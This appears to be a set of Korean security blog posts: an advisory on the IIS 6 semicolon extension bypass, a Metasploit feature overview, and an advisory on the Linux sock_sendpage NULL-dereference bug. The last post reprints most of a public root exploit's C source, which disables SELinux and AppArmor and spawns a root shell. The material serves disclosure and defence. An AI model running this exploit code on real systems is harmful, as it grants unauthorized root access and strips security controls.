세미콜론을 이용한 IIS 파일 파싱 우회 취약점

I. 취약점 개요

1. 목 적
2009년 12월 말에 발표된 IIS 파일 파싱 부분에서 발생한 취약점을 소개하기 위해 이 문서를 제작하였습니다. IIS 서버 관리자 및 관련 개발자분들께서는 참조하시기 바랍니다.

2. 위험도
수준 : 상 
이유 : 웹 상에서 임의의 파일 업로드를 이용한 시스템 장악 가능

 
3. 취약 버전
Microsoft Internet Information Services 6.x 이하 버전의 거의 모든 버전에서 취약한 것으로 알려져 있습니다. 처음 발표 시 모든 버전이 취약한 것으로 알려졌지만, 현재는 일부 버전에서는 취약하지 않은 것으로 확인되었습니다. 이 취약점에 대한 보고서에도 'All Version'이라는 부분이 현재에는 삭제되어 있는 것을 확인할 수 있습니다.
OS 별/ IIS 버전 별 취약한 내용은 SecurityFocus(http://www.securityfocus.com/bid/37460)에 상세하게 소개되어 있으니 참고하시기 바랍니다.
테스트는 IIS 5.1과 IIS 6.0에서 이루어졌으며, 테스트가 이루어지지는 않았으나, IIS 7.5와 닷넷 프레임워크에서는 취약하지 않은 것으로 알려져 있습니다.
II. 취약점 상세

1. 설 명
이 취약점은 IIS에서 파일을 파싱하는 과정에서 ";" 부분을 인식하여 앞부분의 확장자를 체크함으로써 발생하는 취약점입니다. 보통 웹 개발자들이 파일 업로드 부분에서 파일 확장자 필터링의 경우 파일명의 제일 끝부분을 체크하는 경우가 많기 때문에 정상적으로 이미지 파일(jpg, gif등)로 인식하지만, 실제 파일을 웹 상에서 열게 되면, ";"부분까지만 인식하여 실행가능한 asp파일로 실행하게 되는 취약점입니다.

2. 위 협
앞에서 이야기한 바와 같이 일반적인 ASP 게시판에서 파일 업로드 부분의 확장자 필터링 루틴을 위의 방법을 이용하여 우회가 가능합니다. 우회가 가능하게 된 경우 공격자에 의해 웹쉘 업로드 및 실행을 통하여 웹 서버 시스템의 권한 획득이 가능하게 됩니다.

3. 버전별 실행여부 확인
해당 취약점에 대해 버전 별(IIS5.1/XP포함, IIS6.0/서버2003포함)로 비교한 것을 캡쳐한 화면입니다.

다음은 XP(SP3)에서 지원하는 IIS 5.1 버전에서 asp 실행여부를 확인하는 장면입니다. 아래는 asp파일을 이용하여 서버의 IIS 버전을 확인하는 화면입니다.

[그림 1] IIS 버전 확인(5.1)

아래와 같이 asp가 실행되지 않고 평문으로 출력하는 것을 확인할 수 있습니다. 이는 asp가 아닌 jpg로 인식하기 때문에 그대로 출력되어 asp가 실행되지 않는다고 할 수 있습니다.

[그림 2] 파일 소스가 텍스트로 출력

다음은 서버 2003 R2 버전의 IIS 6.0 버전에서 테스트한 화면입니다. 아래는 asp 파일을 이용하여 서버의 IIS 버전을 확인하는 화면입니다.

[그림 3] IIS 버전 확인(6.0)

아래와 같이 asp로 실행된 화면을 보여주는 것을 확인할 수 있습니다.

[그림 4] asp로써 파일이 실행된 화면

III. 대응방안 및 참고사이트

1. 대응방안
KrCERT에서 발표한 내용과 발표자의 자료를 기초로 하여 대응방안을 정리하였습니다.

가. 웹 개발자
- 웹 어플리케이션 측에서 업로드 파일명을 랜덤문자열로  치환하여 파일명과 확장자를 임의 지정하도록 해야합니다. 사용자의 입력값을 그대로 파일명으로 사용하지 못하도록 해줍니다.
- 파일명과 확장자에 알파벳과 숫자만 사용하도록 해야합니다.

나. 웹 서버 관리자
- 업로드 디렉토리의 파일 실행권한을 제거해 줍니다.

2. 참고 사이트

Metasploit 기능 분석

취약점 분석/2009년 이후 2010. 1. 3. 19:00 Posted by TEAMCR@K

 
Metasploit 기능 분석
by aramlee@a3security.com(A.K.A InPure)
& bdr@a3security.com(A.K.A DearTom)

I. Metasploit 소개

1. 개  요
Metasploit은 취약점 점검에 편리하도록 익스플로잇을 모아놓은 ruby기반(version 3 이상, 그 이하 버전은 perl 기반)의 오픈소스 프레임워크로, 취약점에 대한 깊이 있는 지식이 없어도 간단하고 쉽게 취약점 점검이 가능합니다.
최근 Metasploit 3.3.3 버전이 발표되었으며(2009.12.23), 최신 버전에서는 다음과 같은 기능이 추가되었습니다.
- 모든 익스플로잇에 해당 익스프로잇을 기본 설정으로 하여 타겟에 실행하였을 경우 위험도를 포함하고 있습니다.
- 검색 명령어에 -r옵션으로 위험도가 가장 작은 모듈을 검색할 수 있습니다. (db_autopwn과 nexpose_scan 에서는 –R 옵션을 사용합니다.)
- The sessions command can now run a single command (-c) or a script (-s) on all open sessions at once.
- Win32 EXE파일이 88k에서 37k로 더 작아졌습니다.

2. 지원하는 운영체제
32bit MS Windows, UNIX(Linux)를 지원합니다.

3. 설치

Metasploit 3.3.3(WIN32)은 아래 URL에서 다운로드합니다.
http://spool.metasploit.com/releases/framework-3.3.3.exe
 

  
설치가 완료되면 시작메뉴 > 모든 프로그램 > Metasploit3의 하위메뉴에서 프로그램을 실행합니다.


4. 인터페이스 소개
1) Metasploit3 GUI (WIN32 3.2-release)
Metasploit3 GUI는 3.2 release버전까지 지원되었습니다. GUI는 로컬에서 응용프로그램으로 동작하며, 몇 번의 버튼 클릭만으로 취약점 점검이 가능합니다.
다음은 Metasploit3 GUI를 실행한 화면입니다.
                                                          [그림 1] Metasploit3 GUI 실행 화면


메인 화면의 메뉴 아래의 검색어 입력란에 특정문자열을 입력한 후 찾기를 클릭하면 관련된 모듈을 검색합니다.
다음은 oracle로 검색하여 그 결과를 캡쳐한 화면입니다.
                                                                      [그림 2] 모듈 검색

검색된 모듈에서 필요한 익스플로잇을 선택하면 아래 창에 설명이 출력되며 이 상태에서 더블클릭을 하거나 우클릭을 하여 실행합니다. 다음 화면은 익스플로잇을 선택한 후 우클릭을 한 화면입니다.
                                                                     [그림 3] 익스플로잇 실행

2) Metasploit3 Web
Metasploit3 Web은 웹 인터페이스로 실행하면 로컬의 55555포트로 동작하며 GUI와 같이 사용이 편리합니다.
다음은 Metasploit3 Web을 실행한 화면입니다.
                                                        [그림 4] Metasploit Web 실행 화면

① Exploits
익스프로잇을 검색하는 메뉴입니다.
                                                              [그림 5] Exploit 검색 초기 화면

                                                                   [그림 6] Exploit 검색 화면

검색결과 중 맨 위의 Apache Win32 Chunked Encoding을 클릭하면 익스플로잇 설명과 타겟을 선택 가능한 창이 열립니다.
                                                                [그림 7] Exploit 설명 및 타겟 설정

익스플로잇에 필요한 정보를 모두 설정한 후Launch Exploit 버튼을 클릭하여 익스플로잇을 실행합니다.

② Auxiliaries
Auxiliaries 모듈을 검색하는 메뉴입니다.
                                                             [그림 8] Auxiliaries 검색

Exploit과 같은 방법으로 검색한 결과에서 특정 모듈을 클릭한 후 모듈 실행에 필요한 정보를 입력하고 Launch Auxiliary 버튼을 클릭합니다.
③ Payloads
Payload를 검색하는 메뉴입니다.
                                                              [그림 9] Payload 검색

Exploit, Auxiliary과 같은 방법으로 검색한 결과에서 특정 모듈을 클릭한 후 모듈 실행에 필요한 정보를 입력하고 Generate 버튼을 클릭합니다.
④ Console
Metasploit의 콘솔창을 여는 메뉴입니다.
                                                                    [그림 10] Console 열기

⑤ Sessions
익스플로잇을 실행하여 생성한 세션 정보를 확인하는 메뉴입니다.
세션 유무에 따라 다음과 같은 화면을 볼 수 있습니다.
                                                              [그림 11] 세션 정보가 없는 경우

                                                            [그림 12] 세션 정보가 있는 경우

⑥ Options
Skin을 변경하는 메뉴입니다.
                                                                          [그림 13] Options

⑦ About
Metasploit Framework Web Console 정보를 확인하는 메뉴입니다.
                                                                          [그림 14] About

3) Metasploit3 Console
Metasploit3을 Console창에서 사용하며, 사용할 모듈의 이름을 정확히 알고 있어야 합니다. 다음은 Console창을 실행한 화면입니다.
                                                   [그림 15] Metasploit Console 실행 화면

5. 사용법
① 모듈 로드
공격에 필요한 모듈을 로드합니다.

② PAYLOAD
공격 후 취할 행동을 결정합니다. (REVERSE 연결 등)

③ 타겟 등 모듈을 실행하는 데 필요한 옵션 입력
Info를 입력하여 모듈을 실행하는 데 필요한 옵션 정보를 확인할 수 있습니다.
옵션을 입력할 때에는 모듈명>set 옵션명 옵션값 을 입력합니다.

④ 실행
Run 또는 exploit 명령을 입력하여 실행합니다.

 
II.  Metasploit 활용방안
** 상세한 공격 내용이 포함되어 있어 악용할 우려가 있으므로 중략하였습니다. **

1. 활용방안

Metasploit 3.3.3 기준(Last updated 2009.12.23)으로 468개의 익스플로잇, 192개의 페이로드, 22개의 인코더, 8개의 NOP, 221개의 AUX가 존재하여 다양한 환경을 구성하여 취약점 점검이 가능합니다. 업데이트도 꾸준히 이루어져 최신 취약점도 점검할 수 있습니다. 이 장에서는 취약점 점검에 필요한 모듈을 추가하는 방법과 업데이트 방법에 대해서 기술하였습니다.

1) Metasploit 구조
Metasploit은 다음과 같은 구조로 되어 있습니다.


UI를 수정하고자 할 때에는 /data/mfweb에서, Module은 /modules에서, 프레임워크의 기능을 확장하고자 할 경우에는 /plugins 에서 변경합니다.

2) Modules
Module은 다음과 같이 다섯가지로 구분합니다. 모듈 파일의 경로는 (설치시 기본 경로 기준) C:\Program Files\Metasploit\Framework3\msf3\modules에 존재합니다.
‘⑤ Auxiliary’는 3.0이상부터 추가된 모듈입니다.

① Payload
익스플로잇이 성공한 후에 타겟 머신에 실행할 코드입니다..
사용하기 위해서는 익스프로잇을 로딩한 후 다음과 같이 입력합니다.

② Exploit
취약점을 이용하여 프레임워크가 임의의 코드를 실행할 수 있게 합니다.
다음과 같이 입력하여 익스플로잇을 사용합니다.

③ Encoder
인코딩하는 모듈로 플랫폼에 따른 다양한 인코딩방식을 지원합니다..

④ Nop
실제로 레지스터 상태나 프로세서 플래그에 영향을 미치지 않으면서 실행을 계속하는 인스트럭션을 생성합니다.

⑤ Auxiliary
익스플로잇으로 분류하기 애매한 모듈. 페이로드나 타겟을 사용하지 않는 스캔, DoS, Directory Inexing 등이 포함되어 있습니다.

3) Update
최신 취약점을 점검하기 위해서 Update를 하여 최신 버전으로 유지해야 합니다.
업데이트는 아래와 같은 방법으로 실행합니다.
시작 > 모든 프로그램 > Metasploit > Online Update
                                                                [그림 17] Metasploit Update

다음은 Update를 실행한 화면입니다.
                                                      [그림 18] Metasploit Update 실행 화면

III.  참고 사이트
- Metasploit 공식 홈페이지는 다음과 같습니다.
- Metasploit 공식 홈페이지 http://www.metasploit.com
- Metasploit 공식 블로그 http://blog.metasploit.com

- Metasploit에 관한 정보는 다음의 문서를 참고하였습니다.
- Metasploit3 아키텍처 분석 by xeraph@nchovy.kr
- BHUSA09-Gates-OracleMetasploit-PAPER by Chris Gates & Mario Ceballos
- BHUSA09-Gates-OracleMetasploit-SLIDES from BLACKHAT 2009
- How_2_use_metasploit_3.0 by rich4rd
- Metasploit_Framework_3 by bluearth in N@R
- Metasploit_Framework_Web_Interface_Tutorial by www.learnsecurityonline.com
- Metasploit_advance_bear_NR by bluearth in N@R
- Metasploit_basic_bear_NR by bluearth in N@R

※ 현재 ㈜에이쓰리시큐리티에서 테스트 및 분석 중에 있으며, 이 문서는 계속 업데이트될 것입니다. 본 문서는 보안취약점으로 인한 피해를 최소화하는 데 도움이 되고자 작성되었으나, 본 문서에 포함된 대응방안의 유효성이나 기타 예상치 못한 시스템의 오작동 발생에 대하여서는 ㈜에이쓰리시큐리티에서는 일체의 책임을 지지 아니합니다.

Linux Kernel ‘sock_sendpage()’

NULL Pointer Derefence 취약점 보안 권고안

By aramlee@a3security.com

(A.K.A InPure)


I. 취약점 개요

취약점

Linux Kernel ‘sock_sendpage()’ NULL Pointer Derefence

A3SC Advisory ID

A3AID09-

위험 등급

긴급

최초 발표일

2009. 08. 13

문서 작성일

2009. 08. 27

벤더

 

현재상태(패치여부)

패치



1. 요 약

2001년 5월 이후 발표된 대부분의 리눅스 배포판에서 로컬 권한 상승이 가능한 커널 취약점과 익스플로잇이 공개되어 Linux 커널 패치 또는 최신 커널 버전으로 업데이트를 권장합니다. 본 취약점은 ‘sock_sendpage()’ 함수에서 NULL 포인터를 참조하여 발생하며 익스플로잇은 로컬에서만 실행되나 원격지에서 로컬 쉘을 획득 가능한 경우가 많고 취약점의 위험도가 심각하여 리눅스 유저, 서버 관리자에게 주의를 요합니다.
 

2. 대상시스템

해당 취약점에 영향을 받는 시스템 목록은 아래와 같습니다. 
 
Linux Kernel 2.6 경우 2.6.0 – 2.6.30.4

Linux Kernel 2.4 경우 2.4.4 – 2.4.37.4



3. 심각도 및 취약점 확인

취약점 영향

취약점 위험도

로컬 권한 상승



II. 취약점 세부 분석


1. 취약점 내용

본 취약점은 proto_ops 구조체가 올바르게 초기화되지 않은 상태에서 sock_sendpage() 함수에서 NULL 포인터를 참조하여 발생한 취약점입니다.

proto_ops 구조체는 각각의 네트워크 프로토콜이 특정한 시스템콜과 매핑되어 있으며, include/linux/net.h 에 정의되어 있습니다.

 struct proto_ops {

           int                  family;

           struct module   *owner;

           int                  (*release)(struct socket *sock);

           int                  (*bind) (struct socket *sock, struct sockaddr *myaddr, int sockaddr_len);

           int                  (*connect) (struct socket *sock, struct sockaddr *vaddr, int sockaddr_len, int flags);

           int                  (*mmap)(struct file *file, struct socket *sock, struct vm_area_struct * vma);

           ssize_t            (*sendpage) (struct socket *sock, struct page *page, int offset, size_t size, int flags);

           ssize_t            (*splice_read)(struct socket *sock,  loff_t *ppos, struct pipe_inode_info *pipe, size_t len, unsigned int flags);

};

sock_sendpage() 함수는 다음과 같이 net/socket.c에 정의되어 있습니다. sock->ops->sendpage 함수 포인터를 검증하는 과정이 존재하지 않습니다.

 static ssize_t sock_sendpage(struct file *file, struct page *page, int offset, size_t size, loff_t *ppos, int more)

{

struct socket *sock;

          int flags;

 

sock = file->private_data;

 

flags = !(file->f_flags & O_NONBLOCK) ? 0 : MSG_DONTWAIT;

 

if (more)

flags |= MSG_MORE;

 

return sock->ops->sendpage(sock, page, offset, size, flags);

}

한편, sock_splice_read() 함수는 sock_sendpage() 함수와 달리 NULL 체크 루틴이 존재하여 sock->ops->slice_read함수 포인터가 NULL이 아닐 경우에만 콜백(callback) 루틴을 호출합니다.

static ssize_t sock_splice_read(struct file *file, loff_t *ppos, struct pipe_inode_info *pipe, size_t len, unsigned int flags) 

{ 

  struct socket *sock = file->private_data; 

 

if (unlikely(!sock->ops->splice_read)) 

return -EINVAL; 

 

  return sock->ops->splice_read(sock, ppos, pipe, len, flags); 

}


 2. 공격 분석
다음은 Ubuntu 8.10(Linux Kernel 2.6.27-7-generic) 환경에서 해당 익스플로잇을 실행하는 화면입니다. 


wunderbar_emporium.tgz 파일을 다운로드하여 압축을 풀면, ‘wunderbar_emporium.sh’, ‘exploit.c’, ‘pwnkernel.c’, 그리고 일반적인 avi 비디오 파일인 ‘tzameti.avi’ 등 4개의 파일이 생성됩니다. 해당 익스플로잇은 대상 시스템에 pulseaudio가 설치된 경우 정상적으로 실행됩니다.

exploit.c는 실제로 공격이 이루어지는 소스코드로, 다음은 exploit.c의 주요 소스코드를 분석하는 과정입니다.

다음은 main 함수의 소스코드입니다.

int main(void)

{

  called_from_main = 1;

  pa__init(NULL);

}

main함수에서 호출하는 pa__init함수는 모듈로 실행되는 pulseaudio의 초기화 함수입니다.

다음은 pa__init함수의 첫 부분입니다.

int pa__init(void *m)

{

           char *mem = NULL;

           int d;

           int ret;

 

           our_uid = getuid();

 

           if ((personality(0xffffffff)) != PER_SVR4) {

                     mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);

                     if (mem != NULL) {

                                /* for old kernels with SELinux that don't allow RWX anonymous mappings luckily they don't have NX support either ;) */

                                mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);

                                if (mem != NULL) {

                                          fprintf(stdout, "UNABLE TO MAP ZERO PAGE!\n");

                                          return 1;

                                }

                     }

           } else {

                     ret = mprotect(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC);

                     if (ret == -1) {

                                fprintf(stdout, "UNABLE TO MPROTECT ZERO PAGE!\n");

                                return 1;

                     }

           }

 

           fprintf(stdout, " [+] MAPPED ZERO PAGE!\n");

Personality가 System V Release 4 이면 mprotect함수를 사용하여, System V Release 4가 아니면 mmap함수를 사용하여 제로 페이지를 매핑합니다.

           selinux_enforcing = (int *)get_kernel_sym("selinux_enforcing");

           selinux_enabled = (int *)get_kernel_sym("selinux_enabled");

           apparmor_enabled = (int *)get_kernel_sym("apparmor_enabled");

           apparmor_complain = (int *)get_kernel_sym("apparmor_complain");

           apparmor_audit = (int *)get_kernel_sym("apparmor_audit");

           apparmor_logsyscall = (int *)get_kernel_sym("apparmor_logsyscall");

           security_ops = (unsigned long *)get_kernel_sym("security_ops");

           default_security_ops = get_kernel_sym("default_security_ops");

           sel_read_enforce = get_kernel_sym("sel_read_enforce");

           audit_enabled = (int *)get_kernel_sym("audit_enabled");

           commit_creds = (_commit_creds)get_kernel_sym("commit_creds");

           prepare_kernel_cred= (_prepare_kernel_cred)get_kernel_sym("prepare_kernel_cred");

get_kernel_sym함수는 커널 심볼 테이블 파일인 /proc/kallsyms 혹은 /proc/ksyms 파일을 열어 인자로 넘긴 심볼의 주소를 리턴하는 함수입니다.

다음은 get_kernel_sym() 함수의 소스코드입니다.

 

static unsigned long get_kernel_sym(char *name)

{

           FILE *f;

           unsigned long addr;

           char dummy;

           char sname[256];

           int ret;

 

           f = fopen("/proc/kallsyms", "r");

           if (f == NULL) {

                     f = fopen("/proc/ksyms", "r");

                     if (f == NULL) {

                                fprintf(stdout, "Unable to obtain symbol listing!\n");

                                return 0;

                     }

           }

 

           ret = 0;

           while(ret != EOF) {

                     ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);

                     if (ret == 0) {

                                fscanf(f, "%s\n", sname);

                                continue;

                     }

                     if (!strcmp(name, sname)) {

                                fprintf(stdout, " [+] Resolved %s to %p\n", name, (void *)addr);

                                fclose(f);

                                return addr;

                     }

           }

 

           fclose(f);

           return 0;

}

           mem[0] = '\xff';

           mem[1] = '\x25';

           *(unsigned int *)&mem[2] = (sizeof(unsigned long) != sizeof(unsigned int)) ? 0 : 6;

           *(unsigned long *)&mem[6] = (unsigned long)&own_the_kernel;

NULL에 0xff과 NULL+1에 0x25를 대입한 후, 대상 시스템이 32비트 플랫폼이면 NULL+2에 0을, 64비트 아키텍쳐이면 NULL+2에 6을 대입합니다. NULL+6에는 own_the_kernel함수의 주소값을 대입합니다.

다음은 own_the_kernel 함수의 소스코드입니다.
static int __attribute__((regparm(3))) own_the_kernel(unsigned long a, unsigned long b, unsigned long c, unsigned long d, unsigned long e)

{

           got_ring0 = 1;

 

           if (audit_enabled)

                     *audit_enabled = 0;

 

           // disable apparmor

           if (apparmor_enabled && *apparmor_enabled) {

                     what_we_do = 1;

                                *apparmor_enabled = 0;

                     if (apparmor_audit)

                                *apparmor_audit = 0;

                     if (apparmor_logsyscall)

                                *apparmor_logsyscall = 0;

                     if (apparmor_complain)

                                *apparmor_complain = 0;

           }

Audit과 AppArmor를 체크하고 관련 포인터에 0을 셋팅하는 루틴입니다.

           // disable SELinux

           if (selinux_enforcing && *selinux_enforcing) {

                     what_we_do = 2;

                     *selinux_enforcing = 0;

           }

 

           if (!selinux_enabled || selinux_enabled && *selinux_enabled == 0) {

                     // trash LSM

                     if (default_security_ops && security_ops) {

                                if (*security_ops != default_security_ops)

                                          what_we_do = 3;

                                *security_ops = default_security_ops;

                     }

           }

SELinux가 enable되어 관련 포인터를 0으로 셋팅하여 disable하는 루틴입니다.

           /* make the idiots think selinux is enforcing */

           if (sel_read_enforce) {

                     unsigned char *p;

                     unsigned long _cr0;

 

                     asm volatile (

                     "mov %%cr0, %0"

                     : "=r" (_cr0)

                     );

                     _cr0 &= ~0x10000;

                     asm volatile (

                     "mov %0, %%cr0"

                     :

                     : "r" (_cr0)

                     );

CR0 레지스터 값을 받아 _cr0변수에 저장합니다.

                      if (sizeof(unsigned int) != sizeof(unsigned long)) {

                                /* 64bit version, look for the mov ecx, [rip+off]

                                   and replace with mov ecx, 1

                                */

                                for (p = (unsigned char *)sel_read_enforce; (unsigned long)p < (sel_read_enforce + 0x30); p++) {

                                          if (p[0] == 0x8b && p[1] == 0x0d) {

                                                     p[0] = '\xb9';

                                                     p[5] = '\x90';

                                                     *(unsigned int *)&p[1] = 1;

                                          }

                                }

                     } else {

                                /* 32bit, replace push [selinux_enforcing] with push 1 */

                                for (p = (unsigned char *)sel_read_enforce; (unsigned long)p < (sel_read_enforce + 0x20); p++) {

                                          if (p[0] == 0xff && p[1] == 0x35) {

                                                     // while we're at it, disable

                                                     // SELinux without having a

                                                     // symbol for selinux_enforcing ;)

                                                     if (!selinux_enforcing) {

                                                                sel_enforce_ptr = *(unsigned int **)&p[2];

                                                                *sel_enforce_ptr = 0;

                                                                what_we_do = 2;

                                                     }

                                                     p[0] = '\x68';

                                                     p[5] = '\x90';

                                                     *(unsigned int *)&p[1] = 1;

                                          }

                                }

                     }

64비트 아키텍쳐인 경우 ‘mov ecx, [rip+off]’를 찾아 ‘mov ecx, 1’로 대체하고, 32비트 아키텍쳐인 경우 ‘sel_read_enforce’를 찾아 포인터의 위치를 ‘sel_read_enforce+0x20’까지 변경하면서 특정 바이트를 셋팅합니다.

                     _cr0 |= 0x10000;

                     asm volatile (

                     "mov %0, %%cr0"

                     :

                     : "r" (_cr0)

                     );

           }

           // push it real good

           give_it_to_me_any_way_you_can();

 

           return -1;

}


‘_cr0’ 변수에 플래그 0×10000를 셋팅합니다.  0x10000은 X86_CR0_WP로 쓰기 보호 플래그이며. 프로세스 플래그는 arch/x86/include/asm/processor-flags.h에 정의되어 있습니다. 그 후, give_it_to_me_any_way_you_can() 함수를 호출합니다.


다음은 give_it_to_me_any_way_you_can() 함수의 소스코드입니다.
 static void give_it_to_me_any_way_you_can(void)

{

           if (commit_creds && prepare_kernel_cred) {

                     commit_creds(prepare_kernel_cred(0));

                     got_root = 1;


Commit_creds변수와 prepare_kernel_cred변수가 셋팅되어 있으면 prepare_kernel_cred()함수와 commit_creds()함수를 사용하여 현 프로세스의 task_struct의 위치를 반환받아 해당 위치의 메모리를 0으로 변경하고, ‘got_root’플래그를 1로 셋팅합니다.

           } else {

                     unsigned int *current;

                     unsigned long orig_current;

                     unsigned long orig_current_4k = 0;

 

                     if (sizeof(unsigned long) != sizeof(unsigned int))

                                orig_current = get_current_x64();

                     else {

                                orig_current = orig_current_4k = get_current_4k();

                                if (orig_current == 0)

                                          orig_current = get_current_8k();

                     }

대상 시스템의 플랫폼에 따라 각각 get_current_x64(), get_current_4k(), get_current_8k() 함수를 호출합니다.

다음은 get_current_x64(), get_current_4k(), get_current_8k() 함수의 소스코드입니다. 이 세 함수는 현 프로세스의 task_struct의 위치를 리턴합니다.

static inline unsigned long get_current_4k(void)

{

           unsigned long current = 0;

#ifndef __x86_64__

           asm volatile (

           " movl %%esp, %0;"

           : "=r" (current)

           );

#endif

           current = *(unsigned long *)(current & 0xfffff000);

           if (current < 0xc0000000 || current > 0xfffff000)

                     return 0;

 

           return current;

}

 

static inline unsigned long get_current_8k(void)

{

           unsigned long current = 0;

 

#ifndef __x86_64__

           asm volatile (

           " movl %%esp, %0;"

           : "=r" (current)

           );

#endif

           current &= 0xffffe000;

           eightk_stack = 1;

           if ((*(unsigned long *)current < 0xc0000000) || (*(unsigned long *)current > 0xfffff000)) {

                     twofourstyle = 1;

                     return current;

           }

           return *(unsigned long *)current;

}

static inline unsigned long get_current_x64(void)

{

           unsigned long current = 0;

#ifdef __x86_64__

           asm volatile (

           "movq %%gs:(0), %0"

           : "=r" (current)

           );

#endif

           return current;

}        


현 프로세스의 task_struct의 위치를 저장한 후, memset함수를 사용하여 해당 위치의 메모리를 0(root의 id값)으로 초기화합니다.

repeat:

                     current = (unsigned int *)orig_current;

                     while (((unsigned long)current < (orig_current + 0x1000 - 17 )) &&

                                (current[0] != our_uid || current[1] != our_uid ||

                                 current[2] != our_uid || current[3] != our_uid))

                                current++;

 

                     if ((unsigned long)current >= (orig_current + 0x1000 - 17 )) {

                                if (orig_current == orig_current_4k) {

                                          orig_current = get_current_8k();

                                          goto repeat;

                                }

                                return;

                     }

                     got_root = 1;

                     memset(current, 0, sizeof(unsigned int) * 8);

           }

 

           return;

}


다른 함수 분석이 길어졌는데, 다시 pa__init() 함수로 돌아옵니다.

           /* trigger it */

           {

                     char template[] = "/tmp/sendfile.XXXXXX";

                     int in, out;

 

                     // Setup source descriptor

                     if ((in = mkstemp(template)) < 0) {

                                fprintf(stdout, "failed to open input descriptor, %m\n");

                                return 1;

                     }

 

                     unlink(template);

임시 파일을 생성한 후 삭제합니다.

#define DOMAINS_STOP -1

const int domains[][3] = { { PF_APPLETALK, SOCK_DGRAM, 0 },

           {PF_IPX, SOCK_DGRAM, 0 }, { PF_IRDA, SOCK_DGRAM, 0 },

           {PF_X25, SOCK_DGRAM, 0 }, { PF_AX25, SOCK_DGRAM, 0 },

           {PF_BLUETOOTH, SOCK_DGRAM, 0 }, { PF_IUCV, SOCK_STREAM, 0 },

           {PF_INET6, SOCK_SEQPACKET, IPPROTO_SCTP },

           {PF_PPPOX, SOCK_DGRAM, 0 },

           {PF_PPPOX, SOCK_DGRAM, PX_PROTO_OL2TP },

           {DOMAINS_STOP, 0, 0 }

           };

                     // Find a vulnerable domain

                     d = 0;

repeat_it:

                     for (; domains[d][0] != DOMAINS_STOP; d++) {

                                if ((out = socket(domains[d][0], domains[d][1], domains[d][2])) >= 0)

                                          break;

                     }

   

                     if (out < 0) {

                                fprintf(stdout, "unable to find a vulnerable domain, sorry\n");

                                return 1;

                     }

 

                     // Truncate input file to some large value

                     ftruncate(in, getpagesize());

 

                     // sendfile() to trigger the bug.

                     sendfile(out, in, NULL, getpagesize());

           }

exploit.c 파일을 열면 상단에 ‘domain’ 배열을 선언합니다. 이 배열에는 프로토콜 패밀리명이 저장되어있는데, 이 배열을 사용하여 소켓을 생성합니다. 그리고, 임시 파일을 페이지크기 만큼 자른 후, sendfile 시스템 콜을 호출합니다. 앞서 own_the_kernel() 함수에서 sock->ops->sendpage 콜백 함수의 위치를 NULL page로 셋팅하였으므로 버그가 생기게 됩니다.

           if (got_ring0) {

                     fprintf(stdout, " [+] got ring0!\n");

           } else {

                     d++;

                     goto repeat_it;

           }

 

           fprintf(stdout, " [+] detected %s %dk stacks\n",

                     twofourstyle ? "2.4 style" : "2.6 style",

                     eightk_stack ? 8 : 4);

          

           extract_and_play_video();


앞의 과정이 실패한 경우 다른 프로토콜 패밀리 소켓을 생성하여 공격 코드를 다시 실행합니다. 그 후, extract_and_play_video() 함수를 호출합니다. extract_and_play_video()는 비디오파일을 mplayer를 사용하여 재생하고fseek()을 사용하여 그 위치를 검색하는 함수입니다.

다음 루틴은 ‘what_we_do’ 플래그를 확인하여 보안 모듈이 비활성화 되어있는지를 체크하는 루틴입니다.

           {

                     char *msg;

                     switch (what_we_do) {

                                case 1:

                                          msg = "AppArmor";

                                          break;

                                case 2:

                                          msg = "SELinux";

                                          break;

                                case 3:

                                          msg = "LSM";

                                          break;

                                default:

                                          msg = "nothing, what an insecure machine!";

                     }

                     fprintf(stdout, " [+] Disabled security of : %s\n", msg);

           }


다음은 pa__init() 함수의 마지막 부분입니다. 루트 권한으로 /bin/sh 프로세스를 실행하면서 공격은 끝이 납니다.

           if (got_root == 1)

                     fprintf(stdout, " [+] Got root!\n");

           else {

                     fprintf(stdout, " [+] Failed to get root :( Something's wrong.  Maybe the kernel isn't vulnerable?\n");

                     exit(0);

           }

 

           execl("/bin/sh", "/bin/sh", "-i", NULL);

 

           return 0;

}


3. 위험 분석
해당 취약점은 원격이 아닌 로컬에서만 적용되나 현재 거의 모든 리눅스 배포판에 취약점이 존재하고 관리자 권한을 획득 가능하여 위험도가 심각한 수준입니다.

III. 대응방안
1. 보안 대책
 다음은 대표적인 Linux Vendor에서 발표한 패치입니다.
- Redhat
http://kbase.redhat.com/faq/docs/DOC-18065
- Ubuntu
http://www.ubuntu.com/usn/usn-819-1
- Debian
DSA-1862-1 linux-2.6 -- privilege escalation
http://www.debian.org/security/2009/dsa-1862
DSA-1864-1 linux-2.6.24 -- privilege escalation
http://www.debian.org/security/2009/dsa-1864
DSA-1865-1 linux-2.6 -- denial of service/privilege escalation
http://www.debian.org/security/2009/dsa-1865

다음은 Linux 최신 커널(Linux Kernel 2.6의 경우 Linux 2.6.31-rc6, Linux 2.4 커널인 경우 Linux 2.4.37.5 이상) 링크입니다.
http://kernel.org/pub/linux/kernel/v2.6/testing/patch-2.6.31-rc6.bz2
http://kernel.org/pub/linux/kernel/v2.4/patch-2.4.37.5.bz2


2. 관련 사이트

본 취약점에 대한 추가적인 정보를 확인할 수 있는 관련 사이트는 다음과 같습니다.

http://www.securityplus.or.kr/xe/?document_srl=10357#1
http://archives.neohapsis.com/archives/fulldisclosure/2009-08/0174.html
http://namjja.egloos.com/5083569
http://nchovy.kr/forum/2/article/480
http://xorl.wordpress.com/2009/08/18/cve-2009-2692-linux-kernel-proto_ops-null-pointer-dereference/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2692
http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html
http://blog.cr0.org/2009/06/bypassing-linux-null-pointer.html


※ 현재 ㈜에이쓰리시큐리티에서 테스트 및 분석 중에 있으며, 이 문서는 계속 업데이트될 것입니다. 본 문서는 보안취약점으로 인한 피해를 최소화하는 데 도움이 되고자 작성되었으나, 본 문서에 포함된 대응방안의 유효성이나 기타 예상치 못한 시스템의 오작동 발생에 대하여서는 ㈜에이쓰리시큐리티에서는 일체의 책임을 지지 아니합니다.


7.7 DDoS 분석 (New Version)

취약점 분석/2009년 이후 2009. 7. 22. 15:26 Posted by TEAMCR@K

